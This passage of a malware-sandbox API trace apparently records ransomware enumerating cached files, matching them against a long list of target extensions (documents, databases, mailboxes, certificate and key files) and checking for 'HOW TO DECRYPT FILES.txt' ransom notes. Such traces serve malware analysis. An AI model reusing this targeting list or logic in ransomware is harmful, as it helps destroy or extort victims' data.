HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.lay6") returned 0 [0083.997] lstrlenA (lpString="*.lay6") returned 6 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.mpeg") returned 0 [0083.997] lstrlenA (lpString="*.mpeg") returned 6 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.djvu") returned 0 [0083.997] lstrlenA (lpString="*.djvu") returned 6 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.tiff") returned 0 [0083.997] lstrlenA (lpString="*.tiff") returned 6 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.backup") returned 0 [0083.997] lstrlenA (lpString="*.backup") returned 8 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.pdf") returned 0 [0083.997] lstrlenA (lpString="*.pdf") returned 5 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.cert") returned 0 [0083.997] lstrlenA (lpString="*.cert") returned 6 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.docm") returned 0 [0083.997] lstrlenA (lpString="*.docm") returned 6 [0083.997] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.xlsm") returned 0 [0083.997] lstrlenA (lpString="*.xlsm") returned 6 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.dwg") returned 0 [0083.998] lstrlenA (lpString="*.dwg") returned 5 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.nd") returned 0 [0083.998] lstrlenA (lpString="*.nd") returned 4 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.tlg") returned 0 [0083.998] lstrlenA (lpString="*.tlg") returned 5 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.lgb") returned 0 [0083.998] lstrlenA (lpString="*.lgb") returned 5 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.mov") returned 0 [0083.998] lstrlenA (lpString="*.mov") returned 5 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.xdw") returned 0 [0083.998] lstrlenA (lpString="*.xdw") returned 5 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.ods") returned 0 [0083.998] lstrlenA (lpString="*.ods") returned 5 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.wav") returned 0 [0083.998] lstrlenA (lpString="*.wav") returned 5 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.mp3") returned 0 [0083.998] lstrlenA (lpString="*.mp3") returned 5 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.aiff") returned 0 [0083.998] lstrlenA (lpString="*.aiff") returned 6 [0083.998] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.flac") returned 0 [0083.998] lstrlenA (lpString="*.flac") returned 6 [0083.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.m4a") returned 0 [0083.999] lstrlenA (lpString="*.m4a") returned 5 [0083.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js", pszSpec="*.csv") returned 0 [0083.999] lstrlenA (lpString="*.csv") returned 5 [0083.999] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58798580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58798580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x58798580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13a9, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="autotrack[1].js", cAlternateFileName="AUTOTR~1.JS")) returned 1 [0083.999] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.999] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="autotrack[1].js") returned 1 [0083.999] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="autotrack[1].js") returned 1 [0083.999] lstrcmpiA (lpString1="", lpString2="autotrack[1].js") returned -1 [0083.999] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js") returned="ast[1].js" [0083.999] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.999] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.999] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.999] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.999] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="autotrack[1].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js" [0083.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.ems") returned 0 [0083.999] lstrlenA (lpString="*.ems") returned 5 [0083.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.db") returned 0 [0083.999] lstrlenA (lpString="*.db") returned 4 [0083.999] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.dbf") returned 0 [0083.999] lstrlenA (lpString="*.dbf") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.myox") returned 0 [0084.000] lstrlenA (lpString="*.myox") returned 6 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.myo") returned 0 [0084.000] lstrlenA (lpString="*.myo") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.qbw") returned 0 [0084.000] lstrlenA (lpString="*.qbw") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.qbb") returned 0 [0084.000] lstrlenA (lpString="*.qbb") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.qbm") returned 0 [0084.000] lstrlenA (lpString="*.qbm") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.qbo") returned 0 [0084.000] lstrlenA (lpString="*.qbo") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.qbx") returned 0 [0084.000] lstrlenA (lpString="*.qbx") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.qba") returned 0 [0084.000] lstrlenA (lpString="*.qba") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.qby") returned 0 [0084.000] lstrlenA (lpString="*.qby") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.qbj") returned 0 [0084.000] lstrlenA (lpString="*.qbj") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.ofx") returned 0 [0084.000] lstrlenA (lpString="*.ofx") returned 5 [0084.000] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.qif") returned 0 [0084.001] lstrlenA (lpString="*.qif") returned 5 [0084.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.mye") returned 0 [0084.001] lstrlenA (lpString="*.mye") returned 5 [0084.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.mbox") returned 0 [0084.001] lstrlenA (lpString="*.mbox") returned 6 [0084.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.eml") returned 0 [0084.001] lstrlenA (lpString="*.eml") returned 5 [0084.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.pst") returned 0 [0084.001] lstrlenA (lpString="*.pst") returned 5 [0084.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.ost") returned 0 [0084.001] lstrlenA (lpString="*.ost") returned 5 [0084.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.idx") returned 0 [0084.001] lstrlenA (lpString="*.idx") returned 5 [0084.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.dbx") returned 0 [0084.001] lstrlenA (lpString="*.dbx") returned 5 [0084.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.sql") returned 0 [0084.001] lstrlenA (lpString="*.sql") returned 5 [0084.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.mdb") returned 0 [0084.002] lstrlenA (lpString="*.mdb") returned 5 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.fdb") returned 0 [0084.002] lstrlenA (lpString="*.fdb") returned 5 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.wab") returned 0 [0084.002] lstrlenA (lpString="*.wab") returned 5 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.dat") returned 0 [0084.002] lstrlenA (lpString="*.dat") returned 5 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.txt") returned 0 [0084.002] lstrlenA (lpString="*.txt") returned 5 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.jpeg") returned 0 [0084.002] lstrlenA (lpString="*.jpeg") returned 6 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.jpg") returned 0 [0084.002] lstrlenA (lpString="*.jpg") returned 5 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.png") returned 0 [0084.002] lstrlenA (lpString="*.png") returned 5 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.php") returned 0 [0084.002] lstrlenA (lpString="*.php") returned 5 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.cs") returned 0 [0084.002] lstrlenA (lpString="*.cs") returned 4 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.cpp") returned 0 [0084.002] lstrlenA (lpString="*.cpp") returned 5 [0084.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.rar") returned 0 [0084.003] lstrlenA (lpString="*.rar") returned 5 [0084.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.zip") returned 0 [0084.003] lstrlenA (lpString="*.zip") returned 5 [0084.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.html") returned 0 [0084.003] lstrlenA (lpString="*.html") returned 6 [0084.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.htm") returned 0 [0084.004] lstrlenA (lpString="*.htm") returned 5 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.xlsx") returned 0 [0084.004] lstrlenA (lpString="*.xlsx") returned 6 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.xls") returned 0 [0084.004] lstrlenA (lpString="*.xls") returned 5 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.mp4") returned 0 [0084.004] lstrlenA (lpString="*.mp4") returned 5 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.ppt") returned 0 [0084.004] lstrlenA (lpString="*.ppt") returned 5 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.pptx") returned 0 [0084.004] lstrlenA (lpString="*.pptx") returned 6 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.doc") returned 0 [0084.004] lstrlenA (lpString="*.doc") returned 5 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.dot") returned 0 [0084.004] lstrlenA (lpString="*.dot") returned 5 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.docx") returned 0 [0084.004] lstrlenA (lpString="*.docx") returned 6 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.7z") returned 0 [0084.004] lstrlenA (lpString="*.7z") returned 4 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.tar") returned 0 [0084.004] lstrlenA (lpString="*.tar") returned 5 [0084.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.bz2") returned 0 [0084.005] lstrlenA (lpString="*.bz2") returned 5 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.gz") returned 0 [0084.005] lstrlenA (lpString="*.gz") returned 4 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.mkv") returned 0 [0084.005] lstrlenA (lpString="*.mkv") returned 5 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.eml") returned 0 [0084.005] lstrlenA (lpString="*.eml") returned 5 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.msg") returned 0 [0084.005] lstrlenA (lpString="*.msg") returned 5 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.edb") returned 0 [0084.005] lstrlenA (lpString="*.edb") returned 5 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.accdb") returned 0 [0084.005] lstrlenA (lpString="*.accdb") returned 7 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.odb") returned 0 [0084.005] lstrlenA (lpString="*.odb") returned 5 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.java") returned 0 [0084.005] lstrlenA (lpString="*.java") returned 6 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.asm") returned 0 [0084.005] lstrlenA (lpString="*.asm") returned 5 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.pfx") returned 0 [0084.005] lstrlenA (lpString="*.pfx") returned 5 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.pem") returned 0 [0084.005] lstrlenA (lpString="*.pem") returned 5 [0084.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.p12") returned 0 [0084.006] lstrlenA (lpString="*.p12") returned 5 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 